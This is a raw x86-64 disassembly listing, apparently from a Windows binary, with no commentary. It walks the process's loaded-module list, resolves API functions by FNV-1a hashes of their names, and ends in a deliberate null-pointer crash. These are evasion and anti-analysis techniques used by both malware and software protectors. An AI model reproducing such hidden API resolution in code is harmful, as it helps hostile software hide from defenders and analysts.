jmp 0x140164521
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r11
jbe 0x140164536
lea rcx, [r11 + rax]
cmp rbx, rcx
jae 0x140164536
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x70], ecx
jmp 0x1401644f7
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401644e9
add rbx, r12
mov al, byte [rbx]
test al, al
je 0x14016451e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140164506
mov dword [rsp + 0x70], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140164533
cmp qword [r8 + 0x30], r13
jne 0x140164405
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x1401646ac
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x1401645bf
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x1401645b2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401645a3
cmp edx, edi
jne 0x140164690
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140164690
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140164690
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, r15d
jmp 0x14016460f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140164604
cmp edx, dword [rsp + 0x74]
je 0x140164625
test ebx, ebx
jne 0x1401645f2
jmp 0x140164690
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x1401646a5
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401646a5
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x74], ecx
jmp 0x140164666
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140164658
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14016468d
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140164675
mov dword [rsp + 0x74], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x1401646a2
cmp qword [r8 + 0x30], r13
jne 0x140164574
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x140164812
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140164725
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140164718
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140164709
cmp edx, edi
jne 0x1401647f6
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401647f6
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401647f6
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r14]
add r10, r9
mov edx, r15d
jmp 0x140164775
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x14016476a
cmp edx, dword [rsp + 0x78]
je 0x14016478b
test ebx, ebx
jne 0x140164758
jmp 0x1401647f6
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x14016480b
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14016480b
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x78], ecx
jmp 0x1401647cc
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401647be
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x1401647f3
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401647db
mov dword [rsp + 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140164808
cmp qword [r8 + 0x30], r13
jne 0x1401646da
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140164978
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x14016488b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x14016487e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14016486f
cmp edx, edi
jne 0x14016495c
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14016495c
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14016495c
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r14]
add r10, r9
mov edx, r15d
jmp 0x1401648db
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x1401648d0
cmp edx, dword [rsp + 0x7c]
je 0x1401648f1
test ebx, ebx
jne 0x1401648be
jmp 0x14016495c
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140164971
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140164971
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x7c], ecx
jmp 0x140164932
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140164924
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140164959
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140164941
mov dword [rsp + 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14016496e
cmp qword [r8 + 0x30], r13
jne 0x140164840
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x140164adb
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x1401649ee
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x1401649e1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401649d2
cmp edx, edi
jne 0x140164abf
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140164abf
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140164abf
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r9d, dword [rdx + r14]
add r9, r10
mov edx, r15d
jmp 0x140164a3e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
add r9, r12
test cl, cl
jne 0x140164a33
cmp edx, dword [rbp - 0x80]
je 0x140164a53
test ebx, ebx
jne 0x140164a21
jmp 0x140164abf
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140164ad4
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140164ad4
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x80], ecx
jmp 0x140164a93
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x140164a85
add r9, r12
mov al, byte [r9]
test al, al
je 0x140164abc
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x140164aa4
mov dword [rbp - 0x80], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140164ad1
cmp qword [r8 + 0x30], r13
jne 0x1401649a3
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140164b4a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
cmp rcx, r9
je 0x140164b32
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140164b16
cmp edx, 0x610c0de3
je 0x140164b99
mov r8, qword [r8]
cmp r8, r10
je 0x140164b40
cmp qword [r8 + 0x30], r13
jne 0x140164afe
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r13d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r15d
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x140164b94
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x140164b78
cmp ecx, 0xe463da3c
je 0x140164b9f
add r10d, r12d
jmp 0x140164b5e
mov r8, qword [r8 + 0x30]
jmp 0x140164b43
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r14, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x140164d39
mov edi, r13d
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r8, qword [rcx]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140164c38
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140164c2b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140164c1c
cmp edx, edi
jne 0x140164d17
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140164d17
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140164d17
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x140164c8a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140164c7f
cmp edx, dword [rbp - 0x7c]
je 0x140164ca5
test ebx, ebx
jne 0x140164c6b
mov r15d, 0x811c9dc5
jmp 0x140164d17
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140164d2c
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140164d2c
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x7c], ecx
jmp 0x140164ceb
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x140164cdd
add r10, r12
mov al, byte [r10]
test al, al
je 0x140164d14
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x140164cfc
mov dword [rbp - 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140164d29
cmp qword [r8 + 0x30], r13
jne 0x140164bed
mov r10, r13
mov qword [0x1404fba00], r10
mov r15d, 0x811c9dc5
lea r9, [rbp + 0x1198]
mov r8d, r12d
mov edx, 0x5000
mov rcx, r14
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x140164ebe
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140164dc3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140164db6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140164da7
cmp edx, edi
jne 0x140164ea2
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140164ea2
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140164ea2
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x140164e15
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140164e0a
cmp edx, dword [rbp - 0x78]
je 0x140164e30
test ebx, ebx
jne 0x140164df6
mov r15d, 0x811c9dc5
jmp 0x140164ea2
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r11
jbe 0x140164eb7
lea rcx, [rax + r11]
cmp r8, rcx
jae 0x140164eb7
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x78], ecx
jmp 0x140164e76
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r8, r12
mov al, byte [r8]
cmp al, 0x2e
jne 0x140164e68
add r8, r12
mov al, byte [r8]
test al, al
je 0x140164e9f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r8, r12
mov al, byte [r8]
test al, al
jne 0x140164e87
mov dword [rbp - 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140164eb4
cmp qword [r8 + 0x30], r13
jne 0x140164d78
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r14
call r8
mov qword [0], 0x99
mov rax, qword [rbp + 0x50]
movabs rcx, 0xff00ff00ff00ff07
xor rax, rcx
lea rcx, [rbp + 0x4228]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x41f0]
xor rcx, rsp
call fcn.14020ffd0
lea r11, [rsp + 0x4300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret